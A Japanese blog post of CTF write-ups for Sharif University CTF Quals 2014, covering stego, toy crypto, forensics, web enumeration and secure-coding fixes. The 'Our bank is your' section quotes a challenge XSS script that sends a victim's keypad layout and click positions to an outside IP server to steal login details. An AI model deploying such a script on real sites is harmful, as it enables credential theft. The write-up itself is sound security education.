読者です 読者をやめる 読者になる 読者になる

しおあめにっき!

ひらがなかわいい

Sharif University CTF Quals 2014 に参加しました!

Sharif University CTF Quals 2014 に参加しました。せっかくなので writeup を書こうと思います。

Writeups

What is this (steganography, 20 pt)

2枚のモノクロ画像が渡される問題です。

composite -compose Difference pic1.jpg pic2.jpg diff.jpg

差分画像

Rolling hash (cryptography, 30 pt)

暗号化するプログラムと暗号化されたフラグが与えられます。

問題によるとフラグは9文字らしいので  256^{9} 10^{30} を比較すると  256^{9} の方が小さいらしいということを考慮すると、文字列をビックエンディアン的に数値変換しているだけなので、簡単に復号できます。

#!/usr/bin/env python3

def encrypt(text):
    retval = 0
    for i, c in enumerate(text):
        retval += ord(c)*256**(len(text)-i-1)
    return retval

def decrypt(cipher):
    chars = list()
    while cipher > 0:
        chars.append(chr(cipher%256))
        cipher //= 256
    return ''.join(reversed(chars))

def main():
    print(decrypt(1317748575983887541099))

if __name__ == '__main__':
    main()

というわけでフラグは Good Luck

Guess the number (reverse, 30 pt)

jar ファイルが与えられます。

jad を使ってデコンパイルすると 4b64ca12ace755516c178f72d05d7061ecd44646cfe5994ebeb35bf922e25dba を xor したものがフラグであると書かれています。よってフラグは a7b08c546302cc1fd2a4d48bf2bf2ddb

Recover deleted file (forensics, 40 pt)

ext3 のディスクイメージが与えられます。

strings disk-image とすると /lib64/ld-linux-x86-64.so.2 など出てくるので 0x7f ELF を探して切り取って実行するとおしまいです。

$ ./elf
your flag is:
de6838252f95d3b9e803b28df33b4baa

Sudoku image encryption (cryptography, 40 pt)

数独の画像と、地図が15パズルのように 9x9 でバラバラに入れ替わった画像が与えられます。

数独は適当な数独ソルバーで解きます。数独の解が地図の破片の元の位置を表しているのは容易に想像できるので、スクリプトを書いたらおしまいです。

#!/usr/bin/env python3

import PIL.Image

class Solver(object):
    def __init__(self, sudoku, image):
        self.sudoku = sudoku
        self.image = image

    def solve(self):
        width, height = (length//9 for length in self.image.size)
        arranged = PIL.Image.new('RGB', self.image.size)
        pieces = self._split()
        for y in range(9):
            for x in range(9):
                i = self.sudoku[y].index(x+1)
                arranged.paste(pieces[y][i], (width*x, height*y))
        return arranged

    def _split(self):
        width, height = (length//9 for length in self.image.size)
        pieces = list()
        for y in range(9):
            pieces.append(list())
            for x in range(9):
                left, right = width*x, width*(x+1)
                upper, lower = height*y, height*(y+1)
                box = self.image.crop((left, upper, right, lower))
                pieces[y].append(box)
        return pieces

def main():
    sudoku = [
            [9, 6, 4, 1, 2, 7, 5, 3, 8],
            [7, 1, 2, 3, 8, 5, 6, 9, 4],
            [3, 8, 5, 4, 9, 6, 7, 1, 2],
            [4, 9, 1, 5, 7, 8, 2, 6, 3],
            [2, 3, 8, 6, 1, 4, 9, 7, 5],
            [5, 7, 6, 2, 3, 9, 8, 4, 1],
            [6, 2, 7, 8, 4, 3, 1, 5, 9],
            [1, 5, 3, 9, 6, 2, 4, 8, 7],
            [8, 4, 9, 7, 5, 1, 3, 2, 6]
    ]
    img = PIL.Image.open('image.png')
    s = Solver(sudoku, img)
    arranged = s.solve()
    arranged.save('arranged.png')

if __name__ == '__main__':
    main()

地図

Iran Pro League (web, 80 pt)

何らかのテーブルのレコードを全て表示してくれるアプリケーションが与えられます。

/?p1=public&p2=stadium にアクセスするとスタジアムのレコードが見られるようになっているようです。ここで /?p1=test にアクセスすると

 ok: 'false'
 decription: 'Schema does not exist'
 CONTEXT: 'PL/pgSQL function report(character varying,character varying,json) line 38 at RETURN QUERY'

と怒られるので /?p1=pg_catalog&p2=pg_tables にアクセスすると、たくさんレコードが出てきます。この中に、

 schemaname: corner
 tablename: flag
 tableowner: football_info
 tablespace: null
 hasindexes: true
 hasrules: false
 hastriggers: false

というのがあるので /?p1=corner&p2=flag にアクセスしてフラグを得ます。

 flagid: 1
 val: 'flag: eca883cb69ad6614d487c525a7d5d2a3'

Hear With Your Eyes (steganography, 100 pt)

音声ファイルが渡される問題です。

スペクトログラムを見ます。

spectrogram

Secure Coding (secure-coding, 100 pt)

プログラム中の脆弱性を見つけて、直したものをアップロードしてチェックを受け、脆弱性がなくなっていたらフラグがもらえる、という変わった問題です。

この問題はバッファオーバーフローが可能な箇所がいくつかあるので、直せばおしまい。

#include <stdio.h>
#include <string.h>

int main() {
    /* char str[1000]; */
    char str[1001];
    printf("SPLITTER\n");
    printf("--------\n");
    printf("\n");
    str[0] = 0;
    while (1) {
        /* char temp[50]; */
        char temp[51];
        scanf("%50s", temp);

        if (strcmp(temp, ".") == 0) {
            break;
        }
        /* strncat(str, temp, sizeof(str)); */
        strncat(str, temp, sizeof(str)-strlen(str)-1);
        /* strncat(str, "\n", sizeof(str)); */
        strncat(str, "\n", sizeof(str)-strlen(str)-1);
    }
    printf("\n%s\n", str);
    return -14;
}

Huge Key (cryptography, 100 pt)

暗号化するプログラムと暗号化されたフラグが与えられます。

鍵はとても大きなものを与えられたとてしても、実質的な鍵は先頭2バイトだけなので  256 \times 256 = 65536 通り試せばおしまいです。

<?php
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$data = file_get_contents("ciphertext.bin");
$iv = substr($data, 0, $iv_size);
$cipher = substr($data, $iv_size);
$key = "\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0";
for ($i = 0; $i < 256; ++$i) {
    $key[0] = chr($i);
    for ($j = 0; $j < 256; ++$j) {
        $key[1] = chr($j);
        $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher,
                                MCRYPT_MODE_CBC, $iv);
        $plain = str_replace("\x00", "", $plain);
        if (ctype_print($plain)) {
            print $plain . "\n";
        }
    }
}
?>

これを試すとフラグが出ます the flag is e3565503fb4be929a214a9e719830d4e

Cafe-1 (recon, 150 pt)

カフェの写真が与えられます。カフェのロゴのデザイナーの名前を答える問題です。

この写真には QR コードが写りこんでおり、これを読み込むと、

GodForgives,AllYouHaveToDoIsAsk
suctf.com/cce1/d393

と書かれていることがわかります。そこで敢えて http://suctf.com/cce1/ にアクセスすると大きなロゴの PNG 画像が得られます。その画像のコメントに作者の情報が埋め込まれていました。

Designed by: nooneonemore
For: http://suctf.com/cce1/d393

Cafe-2 (recon, 150 pt)

Cafe-1 の写真の日の「今日の言葉」は何かを探す問題です。結局のところ QR コードで読み取った最初の行が答えでした。

Our bank is your (web+forensics, 200 pt)

パケットのキャプチャファイルが与えられます。

キャプチャファイルを見ると冒頭で次のようなストーリーが確認できます。

Bob's Friend と名乗る人物が Bob に「銀行のあのページ見た?」とリンクに誘導する HTML メールを送りつけます。実はこのリンクには XSS を利用した細工が施されています。

リンク先は、下のようなウェブページになっています。ボタンを使って、ユーザー名とパスワードを入力することが可能で、数字の配列は毎回ランダムに配置されます。

Our bank is yours

そしてリンクの XSSスクリプトの部分だけ抜き出すと、次のようになっています。

setTimeout("sendmap();",1000);
document.body.addEventListener("click", clickdone, false);
function sendmap(){
    var buttons=document.getElementsByClassName("keypadButtonStyle");
    var keymap="";
    for(var i=0; i<buttons.length; i++) {
        keymap += buttons[i].value;
    }
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=m&v="+keymap,false);
    xmlhttp.send();
}
function clickdone(e) {
    var xPosition=e.clientX;
    var yPosition=e.clientY;
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open("GET", "http://95.211.102.232:8080/c.php?t=c&v="+xPosition+","+yPosition, false);
    xmlhttp.send();
}

要するに、ページを開いた時に数字の配列の順を Bob's Friend のサーバに送り Bob がマウスをクリックする度にその座標を Bob's Friend のサーバーに送っています。

さて、キャプチャファイルの方を見返してみると Bob はまんまとリンクに誘導され、ログインを試みていることがわかります。つまり、数字の配列とマウスの座標の情報が次々と Bob's Friend の元に送られているのです。あとは、キャプチャファイルの情報を元に、操作を復元するだけです。

まず、数字の配列は次のようになっています。

4 1 6
3 7 0
8 9 5
2 B-S

また、操作の座標をプロットしてみると、次のようになっていることがわかります。

数字の配置

このことから Bob のユーザー名とパスワードはそれぞれ 615344793162305 (1と6の間をクリックしたのは失敗みたい) であることがわかります。これを入力してフラグを得ます。

Didn't I say that our bank is yours?

Flag: 1bcef0620c8505a894fa61d911029c07

Secure Coding (2) (secure-coding, 200 pt)

Secure Coding 第2弾です。前回と違い VC++ 特有の関数が含まれており gcc ではコンパイルできないプログラムだったため、直してはサーバーに投げ、直してはサーバーに投げ、…とやっていました。

脆弱性は、結構あった気がするのですが、投げても反応のない脆弱性もあって、よくわからなかったという感じです。直した脆弱性は、

  • ユーザ入力値 size 変数によりメモリの動的確保を行うが、これが負値のときの処理が行われていない
  • size がでかすぎるなどで、メモリの動的確保を失敗したときの処理が行われていない
  • 動的確保したメモリの解放のタイミングがおかしい
  • 文字列を上書きする位置 offset がでかすぎるときの処理は行われているが、負値のときの処理が行われておらず、バッファオーバーフローが可能
  • _snprintf とかいう VC++ の関数で format string attack が可能
  • scanf により tmp に対してバッファオーバーフローが可能 (採点外?)

といったところです。次のコードを投げたら通りました。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void safefree(char **ptr) {
    if (*ptr != NULL) {
        free(*ptr);
        *ptr = NULL;
    }
}

int main() {
    char tmp[51];
    printf("Line Editor\n");
    printf("-----------\n\n");
    int size;
    printf("Line size: ");
    scanf("%d", &size);
    if (size < 0) {
        return -14;
    }
    gets_s(tmp, sizeof(tmp));
    char *line = (char *)malloc(size + 1);
    if (!line) {
        return -14;
    }
restart:
    line[0] = 0;
    while (1) {
        printf("Enter the offset (or \"quit\"): ");
        gets_s(tmp, sizeof(tmp));
        if (!strcmp(tmp, "quit")) {
            printf("OUTPUT LINE: %s\n\n", line);
            break;
        }
        int offset = atoi(tmp);
        if (offset <= 0 || offset - 1 > (int)strlen(line)) {
            printf("ERROR\n");
            continue;
        }
        printf("Enter the text: ");
        gets_s(tmp, sizeof(tmp));
        strncpy(line + (offset - 1), tmp, size - (offset - 1) + 1);
        if (size - (offset - 1) < strlen(tmp)) {
            printf("ERROR\n");
            line[size] = 0;
            continue;
        }
    }
    printf("Restart (y/n): ");
    scanf("%50s", tmp);
    if (tmp[0] == 'y') {
        gets_s(tmp, sizeof(tmp));
        goto restart;
    }
    safefree(&line);
    return -14;
}

得られたフラグは 57ba58587f972a80c12b5f590078270c

Commercial Application!

apk ファイルが与えられ、アプリケーションのシリアルナンバーを探す問題です。

dex2jarjad を使ってデコンパイルして読み進めると、シリアルナンバーが AES/CBC/PKCS5Padding で暗号化されていることがわかります。ここで使われている IV や暗号キーを使って暗号を解きます。

#!/usr/bin/env python3

import codecs
import Crypto.Cipher.AES

def decrypt(cipher, key, iv):
    aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
    data = aes.decrypt(cipher)
    return data[:-data[-1]].decode()

def main():
    iv = b'a5efdbd57b84ca36'
    key = codecs.decode('37eaae0141f1a3adf8a1dee655853714', 'hex_codec')
    cipher = codecs.decode('29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84',
                           'hex_codec')
    plaintext = decrypt(cipher, key, iv)
    print (plaintext)

if __name__ == '__main__':
    main()

これを実行して fl-ag-IS-se-ri-al-NU-MB-ER

感想

やっぱりたくさんの問題を解いたときの気分は最高ですね!!!